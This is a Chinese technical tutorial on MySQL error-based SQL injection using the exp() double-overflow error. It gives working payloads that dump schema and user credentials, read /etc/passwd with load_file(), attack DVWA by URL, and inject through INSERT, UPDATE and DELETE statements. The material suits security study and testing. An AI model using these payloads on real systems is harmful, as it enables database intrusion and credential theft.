如何使用exp进行SQL报错注入
0x01 前言概述
小编又在MySQL中发现了一个Double型数据溢出。当我们拿到MySQL里的函数时,小编比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以小编就跑去测试看哪些函数会出现溢出错误。然后小编发现,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。
<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709) |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>
在MySQL中,exp与ln和log的功能相反,简单介绍下,就是log和ln都返回以e为底数的对数,见等式:
<p>mysql> select log(15);<br>+------------------+<br>| log(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>
指数函数为对数函数的反函数,exp()即为以e为底的对数函数,如等式:
mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
0x02 注入
当涉及到注入时,我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的,将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到***的无符号BIGINT值。
<p>mysql> select ~0;<br>+----------------------+<br>| ~0 |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version()) |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>
我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。
>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x03 注出数据
得到表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
得到列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
检索数据:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
0x04 一蹴而就
这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
0x05 读取文件
你可以通过load_file()函数来读取文件,但作者发现有13行的限制,该语句也可以在BIGINT overflow injections中使用。
select exp(~(select*from(select load_file('/etc/passwd'))a));
注意,你无法写文件,因为这个错入写入的只是0。
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
0x06 Injection in Insert
按部就班就好
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
对于所有的insert,update和delete语句DIOS查询也同样可以使用。
mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
0x07 Injection in Update
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x08 Injection in Delete
mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。
mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> select exp(710); +----------+ | exp(710) | +----------+ | 1.#INF | +----------+ 1 row in set (0.00 sec) mysql> select exp(~0); +---------+ | exp(~0) | +---------+ | 1.#INF | +---------+ 1 row in set (0.00 sec)
可能还有其他的函数会产生这种报错呦。
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